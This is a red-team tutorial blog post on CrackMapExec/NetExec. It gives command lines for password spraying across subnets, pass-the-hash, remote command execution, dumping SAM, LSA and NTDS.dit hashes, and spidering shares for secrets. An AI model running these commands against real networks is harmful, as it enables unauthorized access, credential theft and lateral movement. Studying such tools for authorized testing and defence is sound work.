NetExec/CrackMapExec: Test One Credential Against Everything at Once

Series: The Community's Red Team

Post: 06 of 17

Tags: crackmapexec, netexec, nxc, smb, lateral movement, credential spraying, tools

Read time: ~12 min

Prerequisites: Post 01 — Methodology, Post 05 — Enum4linux

You found a credential. Maybe it came from an SMB share. Maybe you cracked a hash. Maybe it was in a config file or a sticky note in a screenshot. Now what?

The mistake beginners make is testing it against one service and moving on. The reality of real-world networks is that password reuse is the norm. That same credential might work on SMB, WinRM, RDP, SSH, and MSSQL — all at once. CrackMapExec (now also distributed as nxc / NetExec, the community-maintained fork) is the tool that tests all of that in seconds.

It's also the tool for password spraying across subnets, dumping hashes once you have local admin, executing commands remotely, and enumerating Active Directory environments. If Enum4linux is how you start an SMB conversation, CrackMapExec is how you finish it.

A Note on Names

CrackMapExec is being phased into NetExec (nxc), a community fork maintained after the original project went quiet. The commands are nearly identical — crackmapexec and nxc are interchangeable in most cases. Modern Kali has nxc installed. If you see crackmapexec in older writeups and tutorials, substitute nxc. This post uses both.

What CrackMapExec Does

CME is a post-exploitation and credential validation framework for Windows networks. Its core loop is simple:

credential/hash + target(s) + protocol → works or doesn't

What makes it powerful is breadth — it speaks SMB, WinRM, RDP, SSH, MSSQL, LDAP, and more. And it scales — you can test one credential against an entire subnet in one command. Finding a domain admin password and needing to know what it opens? One CME command, every host on the network, thirty seconds.

Reading CME Output First

Before diving into commands, understand what the output means because (Pwn3d!) is what you're looking for:

SMB    10.10.10.50  445  DC01  [*] Windows Server 2019 (name:DC01) (domain:INLANEFREIGHT.LOCAL)
SMB    10.10.10.50  445  DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2
SMB    10.10.10.51  445  WS01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 (Pwn3d!)
SMB    10.10.10.52  445  WS02  [-] INLANEFREIGHT.LOCAL\forend:Klmcargo2 STATUS_LOGON_FAILURE

[*] — host info, CME reached the machine[+] — credential is valid on this host[+] (Pwn3d!) — credential is valid AND the account has local admin[-] — credential failed

(Pwn3d!) is what opens everything: remote code execution, hash dumping, SAM dumps. The difference between a valid domain credential and a (Pwn3d!) result is the difference between enumeration and full control of that machine.

SMB — The Core Protocol

Basic check — does this credential work?

crackmapexec smb <target> -u <user> -p <password>

Single target, single credential. That's all it takes to confirm validity and check for local admin status.

Null session check

crackmapexec smb <target> -u '' -p ''
crackmapexec smb <target> -u 'guest' -p ''

Before you even have credentials, check if null sessions or guest access work. On legacy systems this still returns useful enumeration data.

List shares

crackmapexec smb <target> -u <user> -p <password> --shares

Lists all accessible shares with their permissions. READ/WRITE access to non-default shares is always worth following up manually with smbclient.

Enumerate users

crackmapexec smb <target> -u <user> -p <password> --users

Pull the full user list from the domain. Feeds directly into password spraying and Kerberoasting.

Enumerate groups

crackmapexec smb <target> -u <user> -p <password> --groups

Group memberships. Who's in Domain Admins? Who's in the IT group? Who's in Remote Desktop Users? These answers tell you exactly which accounts are worth targeting.

Execute a command (requires local admin)

crackmapexec smb <target> -u <user> -p <password> -x "whoami"
crackmapexec smb <target> -u <user> -p <password> -x "ipconfig"

-x runs a Windows shell command on the remote host. This works when the account has local admin and SMB exec is available. The quickest way to confirm you actually have remote code execution.

For PowerShell commands:

crackmapexec smb <target> -u <user> -p <password> -X "Get-LocalUser"

Password Spraying Across a Subnet

This is where CME gets genuinely powerful. You have a username list from Enum4linux (Post 05). You have a password to try — maybe from the password policy you read, or a common default like Welcome1. You want to know if any account on the entire subnet uses it.

crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Welcome1' --continue-on-success

--continue-on-success is critical. Without it, CME stops after the first valid hit. With a subnet scan you want to know every account that credential opens.

Single password, multiple users

crackmapexec smb <target> -u users.txt -p 'Password1' --continue-on-success

This is password spraying in its purest form — one password tested against every user. It's the lockout-safe approach when the password policy has a threshold.

Multiple passwords, multiple users

crackmapexec smb <target> -u users.txt -p passwords.txt --continue-on-success

Careful here. If the password policy has a lockout at 5 attempts, running a 100-password list against every user will lock every account. Check the lockout threshold from Enum4linux's password policy output before running this.

Filter output to hits only

crackmapexec smb <target> -u users.txt -p passwords.txt | grep "+"

Clean output on large scans — you only care about the successes.

Hash-Based Attacks

Pass-the-Hash

If you have an NTLM hash instead of a plaintext password, you don't need to crack it. Just pass it:

crackmapexec smb <target> -u <user> -H <NTLM_hash>
crackmapexec smb <target> -u administrator -H aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

The hash format is LM:NTLM. If you only have the NT part, prepend the blank LM hash: aad3b435b51404eeaad3b435b51404ee:<NT_hash>. This works against any Windows service that uses NTLM authentication.

Spray a hash across a subnet

crackmapexec smb 192.168.1.0/24 -u administrator -H <hash> --continue-on-success

If the local administrator account uses the same password on multiple machines — which was extremely common before LAPS deployment — this finds all of them at once.

Dumping Credentials (Requires Local Admin)

Once you have (Pwn3d!) on a target, you can harvest credentials from it.

SAM database (local accounts)

crackmapexec smb <target> -u <user> -p <pass> --sam

Dumps local user accounts and their NTLM hashes from the SAM database. These hashes feed directly into Hashcat (Post 09) or pass-the-hash attacks against other machines.

LSA secrets (service credentials, cached domain creds)

crackmapexec smb <target> -u <user> -p <pass> --lsa

LSA secrets store service account credentials, scheduled task passwords, and cached domain credentials. High value — service accounts are often reused across many machines.

NTDS.dit (Domain Controller only — dumps all domain hashes)

crackmapexec smb <DC_ip> -u <domain_admin> -p <pass> --ntds

If you have domain admin on a DC, this dumps every password hash in the domain. Game over for that engagement.

Other Protocols

WinRM

Windows Remote Management — the protocol behind PowerShell remoting. If WinRM is open (port 5985) and credentials work here, you get an interactive shell via evil-winrm.

crackmapexec winrm <target> -u <user> -p <pass>

(Pwn3d!) here means evil-winrm -i <target> -u <user> -p <pass> will give you a full interactive PowerShell session.

RDP

crackmapexec rdp <target> -u <user> -p <pass>

Validates credentials for Remote Desktop. Worth checking even if you can't interact with RDP directly — confirmation that the credential works lets you know it's worth pursuing.

SSH

crackmapexec ssh <target> -u <user> -p <pass>

Linux/Mac targets. Same credential you just found on SMB might work on SSH on a Linux server in the same environment.

MSSQL

crackmapexec mssql <target> -u <user> -p <pass>

Validates against MSSQL. If it hits, follow up with Impacket's mssqlclient for full database interaction.

The spray-everything workflow

When you find a credential, test it everywhere:

crackmapexec smb <target> -u <user> -p <pass>
crackmapexec winrm <target> -u <user> -p <pass>
crackmapexec rdp <target> -u <user> -p <pass>
crackmapexec ssh <target> -u <user> -p <pass>
crackmapexec mssql <target> -u <user> -p <pass>

One credential, five services, thirty seconds. This is the habit to build.

Checking Logged-On Users

crackmapexec smb <target> -u <user> -p <pass> --loggedon-users

Shows who's currently logged into a machine. If a domain admin is logged in somewhere, their credentials might be in LSASS memory — which means you can potentially dump them with the right tools once you're on that machine.

Spidering Shares for Sensitive Files

crackmapexec smb <target> -u <user> -p <pass> -M spider_plus

The spider_plus module recursively lists all files across all accessible shares and saves the results. You can then grep the output for keywords like password, credential, secret, key. This is automated share pillaging.

Common Flags Reference

Flag	What it does
-u	Username or username file
-p	Password or password file
-H	NTLM hash (pass-the-hash)
-d	Domain name
--local-auth	Use local account (not domain)
-x	Execute shell command
-X	Execute PowerShell command
--shares	List accessible shares
--users	List domain users
--groups	List domain groups
--loggedon-users	Show currently logged-in users
--sam	Dump SAM hashes
--lsa	Dump LSA secrets
--ntds	Dump NTDS.dit (DC only)
--continue-on-success	Don't stop after first valid credential
-M spider_plus	Spider all shares for sensitive files

Quick Reference

# Basic credential check
crackmapexec smb <target> -u <user> -p <pass>
nxc smb <target> -u <user> -p <pass>

# Null/guest session
crackmapexec smb <target> -u '' -p ''

# List shares
crackmapexec smb <target> -u <user> -p <pass> --shares

# Spray one password against many users
crackmapexec smb <target> -u users.txt -p 'Welcome1' --continue-on-success

# Spray subnet
crackmapexec smb 192.168.1.0/24 -u <user> -p <pass> --continue-on-success

# Pass-the-hash
crackmapexec smb <target> -u <user> -H <NT_hash>

# Execute command
crackmapexec smb <target> -u <user> -p <pass> -x "whoami"

# Dump SAM
crackmapexec smb <target> -u <user> -p <pass> --sam

# Dump LSA
crackmapexec smb <target> -u <user> -p <pass> --lsa

# WinRM check
crackmapexec winrm <target> -u <user> -p <pass>

# SSH check
crackmapexec ssh <target> -u <user> -p <pass>

# Spider shares
crackmapexec smb <target> -u <user> -p <pass> -M spider_plus

# Spray everything at once
for proto in smb winrm rdp ssh mssql; do
  crackmapexec $proto <target> -u <user> -p <pass>
done

What's Next

If CME gave you (Pwn3d!) on a machine, you have local admin. From here you can execute commands, dump hashes, and use those hashes to move laterally to more machines. Post 14 (Impacket) covers psexec, wmiexec, and secretsdump for full post-exploitation once you have admin.

If credential testing is still failing and you need to brute force your way to a login, Post 07 (Hydra) covers targeted credential brute force for services where CME doesn't apply — web login forms, FTP, database interfaces, and more.

MeshForge — Training the Community's Red Team

They count on your ignorance. The exploit only works on the uninformed.